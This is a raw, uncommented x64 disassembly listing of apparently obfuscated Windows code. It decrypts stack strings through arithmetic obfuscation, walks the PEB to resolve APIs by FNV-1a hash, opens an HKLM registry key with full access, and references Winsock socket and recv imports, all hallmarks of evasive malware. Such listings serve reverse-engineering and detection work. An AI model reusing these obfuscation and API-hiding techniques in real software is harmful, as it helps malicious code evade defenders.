cmp rdi, rax
jne 0x1401fb1bf
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x1401fb880
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401fb581
movabs rdx, 0x183ceef8d34b2488
mov ecx, r12d
jmp 0x1401fb3b8
cmp rdi, rcx
jne 0x1401fb5a9
movabs rdx, 0xc9fe878a78ffabc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x1401fb82b
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401fb5d4
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401fb7c0
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401fb5f1
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x1401fb46e
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401fb16d
movabs rcx, 0xbb54baf77571d628
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x1401fb707
mov byte [rbp + r10 + 0xbb0], bl
jmp 0x1401fb88f
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0xbb0]
add bl, r9b
jmp 0x1401fb771
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0xbb0]
sub bl, 0x5c
add bl, dl
jmp 0x1401fb7f9
movabs rdx, 0x292707bcd6f97ac2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1401fb82b
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x76
jmp 0x1401fb7c3
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x1401fb74d
movabs rdx, 0x7a72353e09179f56
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r9b
mov byte [rbp + r10 + 0xbb0], cl
jmp 0x1401fb74a
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
add r11, r13
sub r10, r13
jmp 0x1401fb88f
movabs rdx, 0xb48355bee3bf7052
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xbb0], cl
jmp 0x1401fb7c0
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401fb88f
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x92af2436dc62c3de
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xbb0], al
add r11, r13
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xbb0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401fb880
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
movzx eax, byte [rbp + r10 + 0xbb0]
add rax, r11
add r10, rax
add r10, r13
jmp 0x1401fad48
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401fad43
movabs rcx, 0x752d634cf9cce4e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
jmp 0x1401fad33
lea rdx, [rbp + 0x1600128]
jmp 0x1401fb8f9
lea rdx, [rbp + 0x1026c42]
jmp 0x1401fb8f9
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x400]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1b90]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401fb92e
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1b90]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1b90]
call fcn.140266950
nop
lea rcx, [rbp + 0x1b90]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x5e0], Ordinal_60
mov byte [rbp + 0x5e1], Ordinal_143
mov byte [rbp + 0x5e2], 0x61
mov byte [rbp + 0x5e3], 0xf3
mov byte [rbp + 0x5e4], 0x5a
mov byte [rbp + 0x5e5], 0xf1
mov byte [rbp + 0x5e6], 0x62
mov byte [rbp + 0x5e7], 0xf7
mov byte [rbp + 0x5e8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5e9], 0xf5
mov byte [rbp + 0x5ea], 0x5b
mov byte [rbp + 0x5eb], 0xfb
mov byte [rbp + 0x5ec], WSAStartup
mov byte [rbp + 0x5ed], 0xf9
mov byte [rbp + 0x5ee], 0x5b
mov byte [rbp + 0x5ef], 0xff
mov byte [rbp + 0x5f0], r14b
mov byte [rbp + 0x5f1], 0xfd
mov byte [rbp + 0x5f2], 0x59
mov byte [rbp + 0x5f3], 0xe3
mov byte [rbp + 0x5f4], Ordinal_79
mov byte [rbp + 0x5f5], 0xe1
mov byte [rbp + 0x5f6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5f7], 0xe7
mov byte [rbp + 0x5f8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5f9], 0xe5
mov byte [rbp + 0x5fa], 0x7f
mov byte [rbp + 0x5fb], 0xeb
mov byte [rbp + 0x5fc], 0x7a
mov byte [rbp + 0x5fd], 0xe9
mov byte [rbp + 0x5fe], Ordinal_79
mov byte [rbp + 0x5ff], 0xef
mov byte [rbp + 0x600], 0x7a
mov byte [rbp + 0x601], 0xed
mov byte [rbp + 0x602], 0x88
mov byte [rbp + 0x603], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x604], 0x84
mov byte [rbp + 0x605], Ordinal_211
mov byte [rbp + 0x606], Ordinal_217
mov byte [rbp + 0x607], Ordinal_217
xor eax, eax
mov qword [rbp + 0x608], rax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x1401fc636
movzx r8d, byte [rbp + r9 + 0x5e0]
mov rdx, r8
cmp rdi, r9
ja 0x1401fc62d
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401fbaed
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x1401fbb31
je 0x1401fc5ae
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fc52a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fc4fd
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401fc4b5
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401fc465
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401fc624
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x1401fbb57
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x1401fbd6c
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401fc444
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fc421
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401fc3fb
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401fc3d5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fc3b3
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401fc125
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401fc103
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401fc0dd
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1401fc0bb
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401fc0a7
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401fc085
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fc063
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401fc03f
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401fc01d
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401fc009
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401fbba5
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1401fc602
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401fc5e0
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401fbda5
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1401fbd83
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401fbd5d
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401fbfac
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401fbf52
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401fbf03
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x1401fbed9
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401fbba5
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401fbec5
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401fbea3
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401fbe81
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401fbe6d
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401fbe4a
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401fbe24
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401fbe01
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401fbddf
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401fbdcb
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401fbba5
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x1401fbba5
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fbb98
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x1401fbb31
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fbab5
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_26
jmp 0x1401fc203
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x1401fc4aa
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401fc4ad
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fc4d2
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401fc4f8
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401fc3e4
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401fc54b
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401fc57b
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1401fc28c
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x5e0], bl
jmp 0x1401fc5d8
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 9
jb 0x1401fbef6
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x1401fc482
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
cmp rdi, 0x1000
jae 0x1401fc35a
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401fc2a3
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x1401fbf24
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x1401fc385
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x1401fc1eb
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
jmp 0x1401fbf6f
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401fc28c
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x1401fc57b
movabs rdx, 0xd390f2407abef38c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc54b
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401fc518
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401fc4f8
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x1401fc25e
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x1401fc4ad
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc4aa
movabs rcx, 0x12b0da6c7f759ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x1401fc482
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401fc14b
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fbfc9
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fc177
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401fc5c9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fc19e
movabs rdx, 0xb8b05b574343cd24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, esi
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401fc3a9
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fc1ca
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401fc518
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fbfc9
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401fc40a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fc21a
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_26
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fc482
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fc246
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401fc4aa
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fc270
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401fc37b
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401fbf6f
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc5c9
jne 0x1401fc2c7
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1401fc5c9
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fc2f1
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401fc3ac
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fc30e
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1401fc3e4
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fc339
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1401fc4d2
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401fbf24
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401fc451
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x5e0]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x1401fc4d2
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x5e0]
add bl, r8b
add bl, dl
jmp 0x1401fc54b
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x1401fc54b
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc518
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc4f8
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc4ad
movabs rdx, 0xdc582daba1a1e692
mov ecx, r13d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc482
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x5e0], cl
add r10, r13
sub r9, r13
jmp 0x1401fc5d8
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, bl
add cl, r8b
sub cl, sil
mov byte [rbp + r9 + 0x5e0], cl
add rdi, r10
jmp 0x1401fc518
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401fc5d8
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x5e0], al
add r10, r13
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x5e0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401fc5c9
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, r15b
movzx eax, byte [rbp + r9 + 0x5e0]
add rax, r10
add r9, rax
add r9, r13
jmp 0x1401fbaa2
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x1401fba9d
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x1401fba8d
lea r12, [rbp + 0x145e388]
jmp 0x1401fc63d
lea r12, [rbp + 0x136aac6]
jmp 0x1401fc63d
lea r12, [rbp + 0x5e0]
mov r10, qword [0x14044bbc0]
xor eax, eax
test r10, r10
jne 0x1401fc7b4
mov esi, eax
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401fc6be
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401fc6b0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401fc69f
cmp r8d, esi
jne 0x1401fc790
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401fc790
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401fc790
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401fc712
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401fc707
cmp edx, r14d
je 0x1401fc728
test r9d, r9d
jne 0x1401fc6f2
jmp 0x1401fc790
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401fc7a7
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401fc7a7
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401fc783
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401fc75f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401fc776
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401fc7a4
cmp qword [rdi + 0x30], rax
jne 0x1401fc66e
mov r10, rax
mov qword [0x14044bbc0], r10
xor eax, eax
lea r13d, [rax + 1]
mov qword [rsp + 0x40], rax
lea rcx, [0x14044b488]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x14044bb38]
xor eax, eax
test rdx, rdx
jne 0x1401fc94d
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x1401fc867
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r12d
jmp 0x1401fc859
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401fc848
cmp r9d, esi
jne 0x1401fc93e
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x1401fc93e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401fc93e
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, r12d
jmp 0x1401fc8bb
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r13
test dl, dl
jne 0x1401fc8ae
cmp r8d, r14d
je 0x1401fc8d1
test r10d, r10d
jne 0x1401fc89b
jmp 0x1401fc93e
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x1401fc946
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401fc946
mov esi, r12d
mov r14d, r12d
jmp 0x1401fc90f
